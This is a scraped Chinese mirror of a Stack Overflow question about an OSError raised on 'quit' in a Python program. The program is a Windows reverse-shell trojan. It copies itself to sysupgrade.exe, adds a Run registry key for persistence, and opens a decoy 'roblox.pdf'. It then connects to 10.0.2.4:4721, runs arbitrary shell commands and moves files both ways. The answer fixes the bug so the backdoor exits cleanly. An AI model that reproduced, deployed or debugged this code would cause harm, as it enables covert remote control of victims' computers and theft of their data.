OSError: [WinError 10038] 尝试退出时对非套接字对象进行了操作

huangapple go评论63阅读模式
英文:

OSError: [WinError 10038] An operation was attempted on something that is not a socket when trying to quit

问题

I see you're encountering an issue when using the socket-based code you provided. To help you with this issue, here's the translated version of your code:

import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys

class Registry:

    def __init__(self):
        self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
        self.added_file = sys._MEIPASS + "\\roblox.pdf"

    def add_to_registry(self):
        if not os.path.exists(self.new_file):
            shutil.copyfile(sys.executable, self.new_file)
            regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
            subprocess.call(regedit_command, shell=True)

    def open_added_file(self):
        subprocess.Popen(self.added_file, shell=True)

    def start_registry(self):
        self.add_to_registry()
        self.open_added_file()

class MySocket:

    def __init__(self, ip, port):
        self.my_connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.my_connection.connect((ip, port))

    def json_send(self, data):
        json_data = simplejson.dumps(data)
        self.my_connection.send(json_data.encode("utf-8"))

    def json_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.my_connection.recv(1024).decode()
                return simplejson.loads(json_data)
            except ValueError:
                continue

    def command_execution(self, command):
        return subprocess.check_output(command, shell=True)

    def execute_cd_command(self, directory):
        os.chdir(directory)
        return "Cd to " + directory

    def read_file(self, path):
        with open(path, "rb") as my_file:
            return base64.b64encode(my_file.read())

    def save_file(self, path, content):
        with open(path, "wb") as my_file:
            my_file.write(base64.b64decode(content))
            return "Upload OK!"

    def start_socket(self):
        while True:
            command = self.json_receive()
            try:
                if command[0] == "quit":
                    self.my_connection.close()
                    exit()
                elif command[0] == "cd" and len(command) > 1:
                    command_output = self.execute_cd_command(command[1])
                elif command[0] == "download":
                    command_output = self.read_file(command[1])
                elif command[0] == "upload":
                    command_output = self.save_file(command[1], command[2])
                else:
                    command_output = self.command_execution(command)

            except Exception:
                command_output = "Error!"

            self.json_send(command_output)

        self.my_connection.close()

my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4", 4721)
my_socket_object.start_socket()

Regarding the "quit" issue, it's not entirely clear from the code provided what might be causing the problem. You mentioned that you started encountering this issue after adding the Registry class. Please provide more specific details about the error message you're receiving when you send "quit" so that I can better assist you in resolving the issue.

英文:
import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys

class Registry:

	def __init__(self):
		self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
		self.added_file = sys._MEIPASS + "\\roblox.pdf"

	def add_to_registry(self):
		if not os.path.exists(self.new_file):
			shutil.copyfile(sys.executable,self.new_file)
			regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
			subprocess.call(regedit_command, shell=True)

	def open_added_file(self):
		subprocess.Popen(self.added_file, shell=True)

	def start_registry(self):
		self.add_to_registry()
		self.open_added_file()
class MySocket:

	def __init__(self,ip,port):
		self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		self.my_connection.connect((ip,port))

	def json_send(self, data):
		json_data = simplejson.dumps(data)
		self.my_connection.send(json_data.encode("utf-8"))

	def json_receive(self):
		json_data = ""
		while True:
			try:
				json_data = json_data + self.my_connection.recv(1024).decode()
				return simplejson.loads(json_data)
			except ValueError:
				continue

	def command_execution(self,command):
		return subprocess.check_output(command, shell=True)

	def execute_cd_command(self,directory):
		os.chdir(directory)
		return "Cd to " + directory

	def read_file(self,path):
		with open(path,"rb") as my_file:
			return base64.b64encode(my_file.read())

	def save_file(self,path,content):
		with open(path,"wb") as my_file:
			my_file.write(base64.b64decode(content))
			return "Upload OK!"

	def start_socket(self):
		while True:
			command = self.json_receive()
			try:
				if command[0] == "quit":
					self.my_connection.close()
					exit()
				elif command[0] == "cd" and len(command) > 1 :
					command_output = self.execute_cd_command(command[1])
				elif command[0] == "download":
					command_output = self.read_file(command[1])
				elif command[0] == "upload":
					command_output = self.save_file(command[1],command[2])
				else:
					command_output = self.command_execution(command)
				
			except Exception:
				command_output = "Error!"

			self.json_send(command_output)
		
		self.my_connection.close()

my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4",4721)
my_socket_object.start_socket()

I run this socket in my windows and i run a program that listening this socket in kali linux. When i write quit i am getting this error. Normally i wasnt getting this error but when i added class Registry i started to get this error before that when i wrote quit i could quit both programs.Can anyone help me please?

答案1

得分: 0

这是你的全局try/exceptexit()函数引发了一个异常,你正在捕获它,从而阻止了退出。然后你尝试发送错误输出,但失败了。只需在'quit'处理程序中用break替换这两行。让函数的清理部分来关闭。

英文:

It's your global try/except. The exit() function raises an exception, which you are catching, thereby stopping the exit. You then try to send the error output, which fails. Just replace the two lines in the 'quit' handler with break. Let the function clean-up do the close.

huangapple
  • 本文由 发表于 2023年6月15日 03:33:46
  • 转载请务必保留本文链接:https://go.coder-hub.com/76476991.html
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定